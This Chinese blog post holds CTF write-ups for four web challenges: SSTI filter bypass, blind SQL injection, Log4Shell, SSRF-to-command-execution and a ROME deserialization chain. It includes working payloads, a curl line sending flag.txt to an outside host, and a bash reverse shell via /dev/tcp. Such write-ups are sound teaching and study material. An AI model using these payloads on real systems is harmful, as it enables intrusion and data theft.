CTF Web 的一些比赛题 Writeup

CTF Web 的一些比赛题

DASCTF2022 7月赛 - Harddisk

打开题目后以为是SQL注入,测试了一下发现输入的内容会回显回来,猜测是要考SSTI

使用{{}}被过滤了,接着使用{%%}可行,但是print关键字被过滤了,应该是要搞个无回显。

想用以前链子进行尝试,但是在调用os库时会报异常。由于没有回显,这里也不大清楚是为啥。于是改用了最原始的方法,构造思路如下

  1. {} # 类
  2. ↓↓↓
  3. Object # 父类
  4. ↓↓↓
  5. os._wrap_close # 调用的子类
  6. ↓↓↓
  7. popen # 调用方法

接着要测试所过滤的字符了

  1. .
  2. '
  3. \x
  4. [
  5. ]
  6. requests
  7. _
  8. globals
  9. getitem
  10. init
  11. ...

过滤的内容很大,但是发现还是有一些可以调用的,如attr"\u\n|这些就差不多够用了。

通过attr过滤器调用需要的内容;然后使用"\u主要是用于关键字过滤后,使用unicode编码进行绕过,这里应该也可以使用八进制来绕过;换行符主要是用于一些需要空格的地方

先构造Object类出来,这里可以用{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")来表示

接着调用__subclasses__()列出它的所有子类:attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()

由于这里无法判断我们需要的os._wrap_close类是第几个(没回显),所以这里使用for循环+if判断的方式来判断

  1. {%for c in {}.__class__.__base__.__subclasses__()%}{if c.__name__ in "_wrap_close"}123{%endif%}{%endfor%}
  2. ↓↓↓
  3. {%for%0ac%0ain%0a{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%if%0ac|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f")in"\u005f\u0077\u0072\u0061\u0070\u005f\u0063\u006c\u006f\u0073\u0065"%}123{%endif%}{%endfor%}

最后调用去调用popen函数,由于[]被ban了,通过get方法去拿去字典中键名所对应的键值,然后执行命令即可,最后Payload如下

  1. {%for%0ac%0ain%0a{}|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%if%0ac|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f")in"\u005f\u0077\u0072\u0061\u0070\u005f\u0063\u006c\u006f\u0073\u0065"%}{%if%0a(c|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("\u0070\u006f\u0070\u0065\u006e")("cmd")%}123{%endif%}{%endif%}{%endfor%}

image-20220724164957276.png

DASCTF2022 7月赛 - 绝对防御

开局一张图,后面全靠猜。查看了一下js文件,都是与ws有关的,一开始以为要手动去连接,然后再进行注入(以前有道题好像就这样考的,当时有个人手注)。

看了好久没有思路,使用谷歌小插件收集了一波信息,发现存在一个php页面,如下图

image-20220724170357490.png

访问获取网页源码如下

  1. <script>
  2. function getQueryVariable(variable)
  3. {
  4. var query = window.location.search.substring(1);
  5. var vars = query.split("&amp;");
  6. for (var i=0;i<vars.length;i++) {
  7. var pair = vars[i].split("=");
  8. if(pair[0] == variable){return pair[1];}
  9. }
  10. return(false);
  11. }
  12. function check(){
  13. var reg = /[`~!@#$%^&amp;*()_+<>?:"{},.\/;'[\]]/im;
  14. if (reg.test(getQueryVariable("id"))) {
  15. alert("提示:您输入的信息含有非法字符!");
  16. window.location.href = "/"
  17. }
  18. }
  19. check()
  20. </script>

通过Get请求传参id,测试后确认为数字型,并且表是3列,这里直接盲猜是id、username、password

其中数据:1是admin、2是flag

想用union select联合查询直接获取的,但是没成,感觉是数据库类型的原因;测试了if函数也不行。

like就可以了,最后构造的语句为2 and password like '%'#,后端的SQL语句应该是select username from users where id = 1 and password like '%'#

写个脚本开始跑

  1. import requests
  2. burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
  3. flag = ""
  4. s = "0123456789QAZXSWEDCVFRTGBNHYUJMKIOLP-{}"
  5. for j in range(1, 120):
  6. for i in s:
  7. if i in "-{}":
  8. i = "\\"+i
  9. burp0_url = "http://eb97b9e9-5955-4ac4-b506-6499f21a7497.node4.buuoj.cn:81/SUPPERAPI.php?id=2 and password like '" + flag + i + "%25'%23"
  10. res = requests.get(burp0_url, headers=burp0_headers, allow_redirects=False)
  11. time.sleep(0.1)
  12. print str(j) + " : " + i
  13. if "flag" in res.text:
  14. flag += i
  15. print flag
  16. break
  17. if i == "\\}":
  18. print flag
  19. exit()

这里由于BUU的靶机不能请求太快,不然就会429 Too Request,所以加了一个sleep函数

image-20220724172846920.png

tenableCTF - Log Forge

题目中给了jar包,使用jd-gui反编译工具打开查看源码

image-20220614170219977.png

查看LogForgeSec.class源码可知,其username和password的值都是通过配置文件读取的

image-20220614170441213.png

image-20220614170456590.png

查看LogForgeErrorController.class源码可知,其中dbgmsg变量是可控的,并且从其渲染的文件中可知,可以利用该参数读取配置文件中的username和password

image-20220614170736113.png

image-20220614170753537.png

读取username和password文件

image-20220614170843483.png

查看LogForgeController.class源码发现调用了logger.info,并且查看pom.xml可知log4j-core的版本为2.14.0存在漏洞

最后就是利用CVE-2021-44228

  1. java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps -p 8080 -l 8089

image-20220614171735562.png

CISCN2022_西北分区赛 - MagicProxy

主要的类就两个ProxyControllerAdminController

ProxyController代码如下

  1. package BOOT-INF.classes.com.example.magicproxy.controller;
  2. import com.example.magicproxy.utils.Utils;
  3. import java.io.IOException;
  4. import java.net.HttpURLConnection;
  5. import java.net.URL;
  6. import java.net.URLConnection;
  7. import java.net.UnknownHostException;
  8. import javax.servlet.ServletException;
  9. import javax.servlet.ServletOutputStream;
  10. import javax.servlet.http.HttpServletRequest;
  11. import javax.servlet.http.HttpServletResponse;
  12. import org.springframework.stereotype.Controller;
  13. import org.springframework.web.bind.annotation.GetMapping;
  14. import org.springframework.web.bind.annotation.RequestParam;
  15. @Controller
  16. public class ProxyController {
  17. private static final int TIMEOUT = 29000;
  18. @GetMapping({"/proxy"})
  19. public void doProxy(@RequestParam String url, HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  20. String urlParam = url;
  21. if (Utils.sanitizeUrl(urlParam)) {
  22. String ref = request.getHeader("referer");
  23. String ua = request.getHeader("User-Agent");
  24. String auth = request.getHeader("Authorization");
  25. try (ServletOutputStream null = response.getOutputStream()) {
  26. request.setCharacterEncoding("UTF-8");
  27. response.setCharacterEncoding("UTF-8");
  28. URL urlObject = new URL(urlParam);
  29. URLConnection connection = urlObject.openConnection();
  30. connection.setConnectTimeout(29000);
  31. connection.setReadTimeout(29000);
  32. response.setHeader("Cache-Control", "private, max-age=86400");
  33. if (auth != null)
  34. connection.setRequestProperty("Authorization", auth);
  35. if (connection instanceof HttpURLConnection) {
  36. ((HttpURLConnection)connection)
  37. .setInstanceFollowRedirects(false);
  38. int status = ((HttpURLConnection)connection).getResponseCode();
  39. int counter = 0;
  40. while (counter++ <= 6 &amp;&amp; status / 10 == 30) {
  41. String redirectUrl = connection.getHeaderField("Location");
  42. urlObject = new URL(redirectUrl);
  43. connection = urlObject.openConnection();
  44. if (auth != null)
  45. connection.setRequestProperty("Authorization", auth);
  46. ((HttpURLConnection)connection)
  47. .setInstanceFollowRedirects(false);
  48. connection.setConnectTimeout(29000);
  49. connection.setReadTimeout(29000);
  50. }
  51. } else {
  52. response.setStatus(415);
  53. }
  54. servletOutputStream.flush();
  55. } catch (UnknownHostException|java.io.FileNotFoundException e) {
  56. response.setStatus(404);
  57. } catch (Exception e) {
  58. response.setStatus(500);
  59. e.printStackTrace();
  60. }
  61. } else {
  62. response.setStatus(400);
  63. }
  64. }
  65. }

首先接收一个url参数,并对其进行检测,是否使用了http/https协议,并且不能使用本地IP地址,在检测后发起请求连接,可知这里存在一个受限的SSRF漏洞。接着它会判断响应包的状态码是否为30x,如果是会接收响应包中的跳转地址继续发起请求,此时并没有其他的检测,但请求完的内容并不会回显,所以这里是一个无回显的SSRF漏洞。代码中在发起请求时会先尝试接收Headers中的一个Authorization参数,这个参数在AdminController起作用

AdminController代码如下

  1. package BOOT-INF.classes.com.example.magicproxy.controller;
  2. import java.io.IOException;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import org.springframework.http.HttpStatus;
  6. import org.springframework.stereotype.Controller;
  7. import org.springframework.util.Base64Utils;
  8. import org.springframework.web.bind.annotation.GetMapping;
  9. import org.springframework.web.bind.annotation.RequestParam;
  10. @Controller
  11. public class AdminController {
  12. @GetMapping({"/admin"})
  13. public void Admin(@RequestParam String command, HttpServletRequest request, HttpServletResponse response) throws IOException {
  14. String ipAddress = request.getRemoteAddr();
  15. if (!ipAddress.equals("127.0.0.1")) {
  16. response.setStatus(HttpStatus.FORBIDDEN.value());
  17. return;
  18. }
  19. request.setCharacterEncoding("UTF-8");
  20. String authorization = request.getHeader("Authorization");
  21. if (authorization == null) {
  22. response.setStatus(HttpStatus.UNAUTHORIZED.value());
  23. response.setHeader("WWW-Authenticate", "Basic realm=\"Realm\"");
  24. } else {
  25. String credentials = authorization.substring("Basic ".length());
  26. byte[] decodedCredentials = Base64Utils.decode(credentials.getBytes("UTF-8"));
  27. String[] arrays = (new String(decodedCredentials)).split(":");
  28. if (arrays != null &amp;&amp; arrays.length == 2) {
  29. String username = arrays[0];
  30. String password = arrays[1];
  31. if ("Admin".equals(username) &amp;&amp; "AdminE6fdEiU7".equals(password))
  32. Runtime.getRuntime().exec(command);
  33. }
  34. }
  35. }
  36. }

首先判断ip是否为本地发起的请求,然后接收Headers中的Authorization参数,取其Basic之后的值进行Base64解码,并以:为界将其断成两个字符串,最后分别比较是否为Admin/AdminE6fdEiU7,如果是就可以执行任意命令。

首先构造一个跳转的代码

  1. # coding:utf8
  2. from flask import Flask,url_for,redirect,request
  3. from werkzeug.routing import BaseConverter
  4. app = Flask(__name__)
  5. @app.route('/')
  6. def hello_world():
  7. return redirect('http://127.0.0.1:8080/admin?command=curl%20-X%20POST%20-F%20xx=@flag.txt%20http://vps:8989/', code=301)
  8. if __name__ == '__main__':
  9. app.run(host="0.0.0.0", port=8080)

接着利用/proxy路由请求该重定向地址,并记得带上Authorization:Basic QWRtaW46QWRtaW5FNmZkRWlVNw==

image-20220621154203433.png

最后即可接收到flag

image-20220621153838209.png

CISCN2022_华东北分区赛 - Java题

复现使用的环境 : jdk1.8.0_65

根据IndexController类可知考察的是Java反序列利用,查看pom.xml文件没有添加啥依赖,但是题目给出了ToStringBean类,应该是考察的ROME链的反序列化。ROME链的触发基本是通过TemplatesImpl进行类加载,入口类有挺多的,这里使用BadAttributeValueExpException类作为入口类

调用链如下

  1. /*
  2. TemplatesImpl.getOutputProperties()
  3. ToStringBean.toString()
  4. BadAttributeValueExpException.readObject()
  5. */

编写一个要加载的类 atao.java

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  6. import java.io.IOException;
  7. public class atao extends AbstractTranslet {
  8. public void transform(DOM var1, SerializationHandler[] var2) throws TransletException {
  9. }
  10. public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) throws TransletException {
  11. }
  12. public atao() throws IOException {
  13. Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "exec bash -i &amp;>/dev/tcp/ip/port <&amp;1"});
  14. }
  15. }

使用javac转成class文件

  1. javac atao.java

EXP

  1. package com.game.ctf.Utils;
  2. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  3. import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
  4. import javax.management.BadAttributeValueExpException;
  5. import javax.xml.transform.Templates;
  6. import javax.xml.transform.TransformerConfigurationException;
  7. import java.io.*;
  8. import java.lang.reflect.Field;
  9. import java.util.Base64;
  10. public class exp {
  11. public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException {
  12. File file = new File("atao.class");
  13. FileInputStream fis = new FileInputStream(file);
  14. long fileSize = file.length();
  15. byte[] bytes = new byte[(int) fileSize];
  16. fis.read(bytes);
  17. TemplatesImpl templates = new TemplatesImpl();
  18. Class c = TemplatesImpl.class;
  19. Field bytecodes = c.getDeclaredField("_bytecodes");
  20. bytecodes.setAccessible(true);
  21. bytecodes.set(templates, new byte[][] {bytes});
  22. Field name = c.getDeclaredField("_name");
  23. name.setAccessible(true);
  24. name.set(templates, "atao");
  25. Field tfactory = c.getDeclaredField("_tfactory");
  26. tfactory.setAccessible(true);
  27. tfactory.set(templates, new TransformerFactoryImpl());
  28. ToStringBean bean = new ToStringBean(Templates.class, templates);
  29. BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
  30. Field val = BadAttributeValueExpException.class.getDeclaredField("val");
  31. val.setAccessible(true);
  32. val.set(badAttributeValueExpException, bean);
  33. //序列化
  34. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  35. ObjectOutputStream oos = new ObjectOutputStream(baos);
  36. oos.writeObject(badAttributeValueExpException);
  37. oos.close();
  38. System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
  39. }
  40. }

最后需要注意的是在发送数据时记得进行一次URL编码

  • 发表于 2022-08-05 09:55:00
  • 阅读 ( 9233 )
  • 分类:WEB安全

0 条评论

atao
atao

2 篇文章

站长统计